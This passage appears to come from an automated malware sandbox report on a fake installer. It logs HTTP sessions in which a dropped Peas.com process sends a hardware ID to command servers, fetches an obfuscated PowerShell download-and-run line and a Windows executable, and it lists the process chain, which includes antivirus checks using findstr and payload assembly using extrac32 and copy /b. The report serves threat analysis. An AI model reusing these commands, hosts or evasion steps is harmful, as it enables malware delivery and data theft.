2025-01-05 18:50:22 UTC	1080	OUT	Data Raw: 2d 2d 38 56 50 50 4a 32 44 52 42 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 31 43 31 38 38 44 44 33 46 45 33 46 32 31 30 36 39 41 45 37 37 38 46 45 32 37 39 39 44 36 39 0d 0a 2d 2d 38 56 50 50 4a 32 44 52 42 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 38 56 50 50 4a 32 44 52 42 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 6a 4d 77 31 49 45 2d 2d 70 73 79 63 68 65 0d 0a 2d 2d 38 56 50 50 4a 32 44 52 42 45 0d 0a 43 6f 6e 74 65 6e 74 Data Ascii: --8VPPJ2DRBEContent-Disposition: form-data; name="hwid"91C188DD3FE3F21069AE778FE2799D69--8VPPJ2DRBEContent-Disposition: form-data; name="pid"1--8VPPJ2DRBEContent-Disposition: form-data; name="lid"jMw1IE--psyche--8VPPJ2DRBEContent
2025-01-05 18:50:23 UTC	1130	IN	HTTP/1.1 200 OK Date: Sun, 05 Jan 2025 18:50:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=j0oqvji2dv7mprd7lgu0ivhm7m; expires=Thu, 01 May 2025 12:37:02 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9fFu8SHXAMOiTsGKbB9yXU2lpthwrD%2FEmULs688%2FjOR4oRvkGvKvKhw9dDbOl4eQu6yYDWByjp2mIHHFBwyZtcFZubbf9HLGKvehXok%2BcZUyYmO0xuzVB6cd5Xzo85gqexBy0%2B8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fd5a754ad1641ed-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1797&min_rtt=1774&rtt_var=713&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=1991&delivery_rate=1486005&cwnd=211&unsent_bytes=0&cid=672c1e334012e3ac&ts=536&x=0"
2025-01-05 18:50:23 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-05 18:50:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49744	188.114.97.3	443	3368	C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com

Timestamp	Bytes transferred	Direction	Data
2025-01-05 18:50:23 UTC	267	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 115 Host: grubbytellek.click
2025-01-05 18:50:23 UTC	115	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 6a 4d 77 31 49 45 2d 2d 70 73 79 63 68 65 26 6a 3d 61 61 37 37 65 37 38 62 36 62 30 64 64 31 62 32 32 32 36 65 37 62 37 39 39 35 33 32 61 62 33 61 26 68 77 69 64 3d 39 31 43 31 38 38 44 44 33 46 45 33 46 32 31 30 36 39 41 45 37 37 38 46 45 32 37 39 39 44 36 39 Data Ascii: act=get_message&ver=4.0&lid=jMw1IE--psyche&j=aa77e78b6b0dd1b2226e7b799532ab3a&hwid=91C188DD3FE3F21069AE778FE2799D69
2025-01-05 18:50:24 UTC	1130	IN	HTTP/1.1 200 OK Date: Sun, 05 Jan 2025 18:50:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ep7tfg8h0fegc6hgn82hg0clqs; expires=Thu, 01 May 2025 12:37:03 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZYxoPjnq6jwMFsb7AoA3Ji%2FXeBeinFO873f2n0ENicQ1k8IqopY3ITYzhUALBuNItAI4Sg9EcPcEjDiqE%2FOrx1VR747CwIN1O6r1azRgdF3RPVk66ZiTZYKJyDBsVyYjTJ9u%2F%2F8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fd5a75b1cc04238-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1741&min_rtt=1735&rtt_var=664&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2844&recv_bytes=1018&delivery_rate=1633109&cwnd=244&unsent_bytes=0&cid=0f6a3a22c3857861&ts=757&x=0"
2025-01-05 18:50:24 UTC	218	IN	Data Raw: 64 34 0d 0a 6b 75 51 68 75 65 33 2b 57 5a 70 73 6b 76 4d 4e 71 62 6a 52 53 65 36 53 36 4b 78 77 71 6d 55 51 53 2b 46 48 70 48 42 31 64 64 58 4a 6e 77 50 4d 7a 38 52 37 38 68 6a 6d 67 33 36 54 35 50 34 56 77 66 47 4e 79 77 57 45 46 6e 67 6b 6b 52 75 4c 53 45 42 43 34 61 44 53 45 34 33 5a 79 41 57 31 48 50 72 64 65 64 48 4d 38 32 58 4d 39 4a 79 4f 53 70 68 4a 4d 69 37 44 66 5a 55 4e 57 51 37 33 35 38 59 62 6d 34 57 4b 4c 65 6f 66 71 4b 38 69 39 5a 65 36 4a 59 66 69 6e 74 6b 64 77 78 5a 6c 49 73 38 30 7a 42 38 46 4b 66 72 37 69 6c 58 6d 6a 70 49 70 78 52 2f 36 6b 69 50 64 77 4b 56 72 77 72 43 4f 32 46 4b 51 56 54 78 70 68 47 57 65 51 41 67 6f 0d 0a Data Ascii: d4kuQhue3+WZpskvMNqbjRSe6S6KxwqmUQS+FHpHB1ddXJnwPMz8R78hjmg36T5P4VwfGNywWEFngkkRuLSEBC4aDSE43ZyAW1HPrdedHM82XM9JyOSphJMi7DfZUNWQ7358Ybm4WKLeofqK8i9Ze6JYfintkdwxZlIs80zB8FKfr7ilXmjpIpxR/6kiPdwKVrwrCO2FKQVTxphGWeQAgo
2025-01-05 18:50:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49745	185.161.251.21	443	3368	C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com

Timestamp	Bytes transferred	Direction	Data
2025-01-05 18:50:25 UTC	201	OUT	GET /8574262446/ph.txt HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: cegu.shop
2025-01-05 18:50:25 UTC	249	IN	HTTP/1.1 200 OK Server: nginx/1.26.2 Date: Sun, 05 Jan 2025 18:50:25 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 329 Last-Modified: Thu, 26 Dec 2024 00:07:06 GMT Connection: close ETag: "676c9e2a-149" Accept-Ranges: bytes
2025-01-05 18:50:25 UTC	329	IN	Data Raw: 5b 4e 65 74 2e 73 65 72 76 69 63 65 70 4f 49 4e 54 6d 41 4e 61 47 65 72 5d 3a 3a 53 45 63 55 52 69 54 79 50 72 4f 74 6f 43 4f 6c 20 3d 20 5b 4e 65 74 2e 53 65 63 55 72 69 54 79 70 72 4f 74 6f 63 6f 6c 74 59 50 65 5d 3a 3a 74 4c 73 31 32 3b 20 24 67 44 3d 27 68 74 74 70 73 3a 2f 2f 64 66 67 68 2e 6f 6e 6c 69 6e 65 2f 69 6e 76 6f 6b 65 72 2e 70 68 70 3f 63 6f 6d 70 4e 61 6d 65 3d 27 2b 24 65 6e 76 3a 63 6f 6d 70 75 74 65 72 6e 61 6d 65 3b 20 24 70 54 53 72 20 3d 20 69 57 72 20 2d 75 52 69 20 24 67 44 20 2d 75 53 65 62 41 53 49 63 70 41 52 73 69 4e 67 20 2d 55 73 45 72 41 47 65 6e 74 20 27 4d 6f 7a 69 6c 6c 61 2f 35 2e 30 20 28 57 69 6e 64 6f 77 73 20 4e 54 20 31 30 2e 30 3b 20 57 69 6e 36 34 3b 20 78 36 34 29 20 41 70 70 6c 65 57 65 62 4b 69 74 2f 35 37 2e Data Ascii: [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49746	172.67.208.58	443	3368	C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com

Timestamp	Bytes transferred	Direction	Data
2025-01-05 18:50:26 UTC	206	OUT	GET /int_clp_sha.txt HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: klipvumisui.shop
2025-01-05 18:50:26 UTC	903	IN	HTTP/1.1 200 OK Date: Sun, 05 Jan 2025 18:50:26 GMT Content-Type: text/plain Content-Length: 8767044 Connection: close Accept-Ranges: bytes ETag: "51f99eddd33cc04fb0f55f873b76d907" Last-Modified: Sat, 28 Dec 2024 20:49:42 GMT Vary: Accept-Encoding cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1%2FrnfVvqpHRLc4vHVmcq2Af9tociU2H%2BSbSE0X4nZyDh3v0xjjVcQV7qmi1iUx6%2BI6yvcRhuDmaioH7cY00vUbmLqTnk4%2FH4ZJne3jfsnTaLQmBev42RDRFAU9rsOeFjJsdg"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fd5a7696ea9c42a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1697&min_rtt=1692&rtt_var=644&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2866&recv_bytes=820&delivery_rate=1684939&cwnd=200&unsent_bytes=0&cid=0cdbe94b118ff61c&ts=300&x=0"
2025-01-05 18:50:26 UTC	1369	IN	Data Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZP@!L!This program must be run under Win32$7
2025-01-05 18:50:26 UTC	1369	IN	Data Raw: 09 4e 61 74 69 76 65 49 6e 74 04 00 00 00 80 ff ff ff 7f 02 00 00 00 74 11 40 00 01 0a 4e 61 74 69 76 65 55 49 6e 74 05 00 00 00 00 ff ff ff ff 02 00 00 90 11 40 00 04 06 53 69 6e 67 6c 65 00 02 00 00 a0 11 40 00 04 08 45 78 74 65 6e 64 65 64 02 02 00 00 00 00 b4 11 40 00 04 06 44 6f 75 62 6c 65 01 02 00 00 c4 11 40 00 04 04 43 6f 6d 70 03 02 00 00 00 00 d4 11 40 00 04 08 43 75 72 72 65 6e 63 79 04 02 00 00 00 00 e8 11 40 00 05 0b 53 68 6f 72 74 53 74 72 69 6e 67 ff 02 00 fc 11 40 00 14 09 50 41 6e 73 69 43 68 61 72 30 10 40 00 02 00 00 00 00 14 12 40 00 14 09 50 57 69 64 65 43 68 61 72 4c 10 40 00 02 00 00 00 00 2c 12 40 00 03 08 42 79 74 65 42 6f 6f 6c 00 00 00 00 80 ff ff ff 7f 28 12 40 00 05 46 61 6c 73 65 04 54 72 75 65 06 53 79 73 74 65 6d 02 00 00 Data Ascii: NativeIntt@NativeUInt@Single@Extended@Double@Comp@Currency@ShortString@PAnsiChar0@@PWideCharL@,@ByteBool(@FalseTrueSystem
2025-01-05 18:50:26 UTC	1369	IN	Data Raw: 00 02 00 0b 28 9c 4a 00 0c 26 6f 70 5f 4c 65 73 73 54 68 61 6e 00 00 00 10 40 00 02 12 98 15 40 00 04 4c 65 66 74 02 00 12 98 15 40 00 05 52 69 67 68 74 02 00 02 00 0b 28 9c 4a 00 13 26 6f 70 5f 4c 65 73 73 54 68 61 6e 4f 72 45 71 75 61 6c 00 00 00 10 40 00 02 12 98 15 40 00 04 4c 65 66 74 02 00 12 98 15 40 00 05 52 69 67 68 74 02 00 02 00 7c 17 40 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 1f 40 00 00 00 00 00 7c 17 40 00 00 00 00 00 92 18 40 00 08 00 00 00 00 00 00 00 f8 7e 40 00 00 7f 40 00 f0 80 40 00 e8 80 40 00 08 81 40 00 0c 81 40 00 10 81 40 00 04 81 40 00 8c 7d 40 00 a4 7d 40 00 d8 7d 40 00 00 00 22 00 9a 18 40 00 44 00 f4 ff c0 18 40 00 42 00 f4 ff e4 18 40 00 42 00 f4 ff 0d 19 40 00 43 00 f4 ff 4b 19 40 00 42 00 f4 ff 7a 19 40 00 42 00 f4 ff a3 Data Ascii: (J&op_LessThan@@Left@Right(J&op_LessThanOrEqual@@Left@Right\|@@\|@@~@@@@@@@@}@}@}@"@D@B@B@CK@Bz@B
2025-01-05 18:50:26 UTC	1369	IN	Data Raw: 41 64 64 72 65 73 73 03 00 00 11 40 00 08 00 02 08 9c 1f 40 00 00 00 04 53 65 6c 66 02 00 02 b8 12 40 00 01 00 04 4e 61 6d 65 02 00 02 00 46 00 04 7f 40 00 0c 47 65 74 49 6e 74 65 72 66 61 63 65 03 00 00 10 40 00 08 00 03 08 9c 1f 40 00 00 00 04 53 65 6c 66 02 00 12 40 13 40 00 01 00 03 49 49 44 02 00 20 00 00 00 00 02 00 03 4f 62 6a 02 00 02 00 3e 00 68 7f 40 00 11 47 65 74 49 6e 74 65 72 66 61 63 65 45 6e 74 72 79 03 00 a0 14 40 00 08 00 02 00 00 00 00 00 00 00 04 53 65 6c 66 02 00 12 40 13 40 00 01 00 03 49 49 44 02 00 02 00 31 00 28 9c 4a 00 11 47 65 74 49 6e 74 65 72 66 61 63 65 54 61 62 6c 65 03 00 2c 15 40 00 08 00 01 00 00 00 00 00 00 00 04 53 65 6c 66 02 00 02 00 33 00 ac 7f 40 00 08 55 6e 69 74 4e 61 6d 65 03 00 b8 12 40 00 08 00 02 00 00 00 00 Data Ascii: Address@@Self@NameF@GetInterface@@Self@@IID Obj>h@GetInterfaceEntry@Self@@IID1(JGetInterfaceTable,@Self3@UnitName@
2025-01-05 18:50:26 UTC	1369	IN	Data Raw: 10 81 40 00 04 81 40 00 8c 7d 40 00 a4 7d 40 00 d8 7d 40 00 00 00 00 00 00 00 0f 55 6e 73 61 66 65 41 74 74 72 69 62 75 74 65 00 00 94 21 40 00 07 0f 55 6e 73 61 66 65 41 74 74 72 69 62 75 74 65 78 21 40 00 34 20 40 00 00 00 06 53 79 73 74 65 6d 00 00 00 00 02 00 00 00 00 00 18 22 40 00 00 00 00 00 00 00 00 00 00 00 00 00 34 22 40 00 00 00 00 00 18 22 40 00 00 00 00 00 1e 22 40 00 08 00 00 00 c4 1f 40 00 f8 7e 40 00 00 7f 40 00 f0 80 40 00 e8 80 40 00 08 81 40 00 0c 81 40 00 10 81 40 00 04 81 40 00 8c 7d 40 00 a4 7d 40 00 d8 7d 40 00 00 00 00 00 00 00 11 56 6f 6c 61 74 69 6c 65 41 74 74 72 69 62 75 74 65 34 22 40 00 07 11 56 6f 6c 61 74 69 6c 65 41 74 74 72 69 62 75 74 65 18 22 40 00 34 20 40 00 00 00 06 53 79 73 74 65 6d 00 00 00 00 02 00 00 00 b8 22 40 Data Ascii: @@}@}@}@UnsafeAttribute!@UnsafeAttributex!@4 @System"@4"@"@"@@~@@@@@@@@}@}@}@VolatileAttribute4"@VolatileAttribute"@4 @System"@
2025-01-05 18:50:26 UTC	1369	IN	Data Raw: 74 02 00 02 00 09 e8 89 40 00 08 50 75 6c 73 65 41 6c 6c 00 00 00 00 00 00 01 0a 9c 1f 40 00 07 41 4f 62 6a 65 63 74 02 00 02 00 ec 26 40 00 0f 0a 49 49 6e 74 65 72 66 61 63 65 00 00 00 00 01 00 00 00 00 00 00 00 00 c0 00 00 00 00 00 00 46 06 53 79 73 74 65 6d 03 00 ff ff 02 00 00 00 20 27 40 00 0f 0b 49 45 6e 75 6d 65 72 61 62 6c 65 e8 26 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 06 53 79 73 74 65 6d 01 00 ff ff 02 00 00 54 27 40 00 0f 09 49 44 69 73 70 61 74 63 68 e8 26 40 00 01 00 04 02 00 00 00 00 00 c0 00 00 00 00 00 00 46 06 53 79 73 74 65 6d 04 00 ff ff 02 00 00 00 00 cc 83 44 24 04 f8 e9 81 ca 00 00 83 44 24 04 f8 e9 9f ca 00 00 83 44 24 04 f8 e9 b1 ca 00 00 cc 85 27 40 00 8f 27 40 00 99 27 40 00 01 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: t@PulseAll@AObject&@IInterfaceFSystem '@IEnumerable&@SystemT'@IDispatch&@FSystemD$D$D$'@'@'@
2025-01-05 18:50:26 UTC	1369	IN	Data Raw: 6f 75 6e 74 02 00 cc 10 40 00 02 00 00 00 02 05 46 6c 61 67 73 02 00 9c 10 40 00 04 00 00 00 02 0b 45 6c 65 6d 65 6e 74 53 69 7a 65 02 00 9c 10 40 00 08 00 00 00 02 09 4c 6f 63 6b 43 6f 75 6e 74 02 00 00 11 40 00 0c 00 00 00 02 04 44 61 74 61 02 00 a8 2b 40 00 10 00 00 00 02 06 42 6f 75 6e 64 73 02 00 02 00 00 00 00 84 2c 40 00 0e 0a 54 56 61 72 52 65 63 6f 72 64 08 00 00 00 00 00 00 00 00 02 00 00 00 00 11 40 00 00 00 00 00 02 07 50 52 65 63 6f 72 64 02 00 00 11 40 00 04 00 00 00 02 07 52 65 63 49 6e 66 6f 02 00 02 00 00 00 00 cc 2c 40 00 0e 08 54 56 61 72 44 61 74 61 10 00 00 00 00 00 00 00 00 20 00 00 00 cc 10 40 00 00 00 00 00 02 05 56 54 79 70 65 02 00 cc 10 40 00 02 00 00 00 02 09 52 65 73 65 72 76 65 64 31 02 00 cc 10 40 00 04 00 00 00 02 09 52 65 Data Ascii: ount@Flags@ElementSize@LockCount@Data+@Bounds,@TVarRecord@PRecord@RecInfo,@TVarData @VType@Reserved1@Re
2025-01-05 18:50:26 UTC	1369	IN	Data Raw: 40 00 00 00 00 00 02 08 56 56 61 72 69 61 6e 74 02 00 00 11 40 00 00 00 00 00 02 0a 56 49 6e 74 65 72 66 61 63 65 02 00 00 11 40 00 00 00 00 00 02 0b 56 57 69 64 65 53 74 72 69 6e 67 02 00 b4 2a 40 00 00 00 00 00 02 06 56 49 6e 74 36 34 02 00 00 11 40 00 00 00 00 00 02 0e 56 55 6e 69 63 6f 64 65 53 74 72 69 6e 67 02 00 54 11 40 00 00 00 00 00 02 0a 5f 52 65 73 65 72 76 65 64 31 02 00 b4 10 40 00 04 00 00 00 02 05 56 54 79 70 65 02 00 02 00 00 00 00 00 00 0c 32 40 00 0e 0b 54 50 74 72 57 72 61 70 70 65 72 04 00 00 00 00 00 00 00 00 01 00 00 00 a0 2a 40 00 00 00 00 00 00 05 56 61 6c 75 65 02 00 02 00 06 00 0a 28 9c 4a 00 06 43 72 65 61 74 65 00 00 00 00 00 00 01 00 54 11 40 00 06 41 56 61 6c 75 65 02 00 02 00 0a c0 f5 40 00 06 43 72 65 61 74 65 00 00 00 00 Data Ascii: @VVariant@VInterface@VWideString@VInt64@VUnicodeStringT@_Reserved1@VType2@TPtrWrapper@Value(JCreateT@AValue@Create
2025-01-05 18:50:26 UTC	1369	IN	Data Raw: 28 9c 4a 00 0a 52 65 61 6c 6c 6f 63 4d 65 6d 03 00 08 32 40 00 08 00 03 00 00 00 00 00 00 00 04 53 65 6c 66 02 00 00 08 32 40 00 01 00 06 4f 6c 64 50 74 72 02 00 00 54 11 40 00 02 00 07 4e 65 77 53 69 7a 65 02 00 02 00 34 00 28 9c 4a 00 07 46 72 65 65 4d 65 6d 03 00 00 00 00 00 08 00 02 00 00 00 00 00 00 00 04 53 65 6c 66 02 00 00 08 32 40 00 01 00 03 50 74 72 02 00 02 00 62 00 28 9c 4a 00 04 43 6f 70 79 03 00 00 00 00 00 10 00 05 00 00 00 00 00 00 00 04 53 65 6c 66 02 00 02 cc 4b 40 00 01 00 03 53 72 63 02 00 00 9c 10 40 00 02 00 0a 53 74 61 72 74 49 6e 64 65 78 02 00 00 08 32 40 00 0c 00 04 44 65 73 74 02 00 00 9c 10 40 00 08 00 05 43 6f 75 6e 74 02 00 02 00 62 00 28 9c 4a 00 04 43 6f 70 79 03 00 00 00 00 00 10 00 05 00 00 00 00 00 00 00 04 53 65 6c 66 Data Ascii: (JReallocMem2@Self2@OldPtrT@NewSize4(JFreeMemSelf2@Ptrb(JCopySelfK@Src@StartIndex2@Dest@Countb(JCopySelf
2025-01-05 18:50:26 UTC	1369	IN	Data Raw: 08 32 40 00 0c 00 04 44 65 73 74 02 00 00 9c 10 40 00 08 00 05 43 6f 75 6e 74 02 00 02 00 62 00 28 9c 4a 00 04 43 6f 70 79 03 00 00 00 00 00 10 00 05 00 00 00 00 00 00 00 04 53 65 6c 66 02 00 02 08 32 40 00 01 00 03 53 72 63 02 00 01 28 4d 40 00 02 00 04 44 65 73 74 02 00 00 9c 10 40 00 0c 00 0a 53 74 61 72 74 49 6e 64 65 78 02 00 00 9c 10 40 00 08 00 05 43 6f 75 6e 74 02 00 02 00 62 00 28 9c 4a 00 04 43 6f 70 79 03 00 00 00 00 00 10 00 05 00 00 00 00 00 00 00 04 53 65 6c 66 02 00 02 60 4d 40 00 01 00 03 53 72 63 02 00 00 9c 10 40 00 02 00 0a 53 74 61 72 74 49 6e 64 65 78 02 00 00 08 32 40 00 0c 00 04 44 65 73 74 02 00 00 9c 10 40 00 08 00 05 43 6f 75 6e 74 02 00 02 00 62 00 28 9c 4a 00 04 43 6f 70 79 03 00 00 00 00 00 10 00 05 00 00 00 00 00 00 00 04 53 Data Ascii: 2@Dest@Countb(JCopySelf2@Src(M@Dest@StartIndex@Countb(JCopySelf`M@Src@StartIndex2@Dest@Countb(JCopyS

Target ID:	0
Start time:	13:49:55
Start date:	05/01/2025
Path:	C:\Users\user\Desktop\installer_1.05_36.7.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\installer_1.05_36.7.exe"
Imagebase:	0x400000
File size:	1'139'689 bytes
MD5 hash:	5CCA6A6746A3F3EFC901B3EAA503F2E6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	13:49:57
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c move Undertaken Undertaken.cmd & Undertaken.cmd
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	13:49:57
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	13:49:58
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	tasklist
Imagebase:	0x410000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	13:49:58
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr /I "opssvc wrsa"
Imagebase:	0xfd0000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	13:49:59
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	tasklist
Imagebase:	0x410000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	13:49:59
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
Imagebase:	0xfd0000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	13:49:59
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c md 739749
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	13:49:59
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\extrac32.exe
Wow64 process (32bit):	true
Commandline:	extrac32 /Y /E Buys
Imagebase:	0x1c0000
File size:	29'184 bytes
MD5 hash:	9472AAB6390E4F1431BAA912FCFF9707
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	13:49:59
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr /V "encourage" Legend
Imagebase:	0xfd0000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	13:50:00
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c copy /b 739749\Peas.com + Principles + Delight + Leader + Shareholders + Scientific + Optimal + Accessing + Examine + Appearance + Specialist 739749\Peas.com
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	13:50:00
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
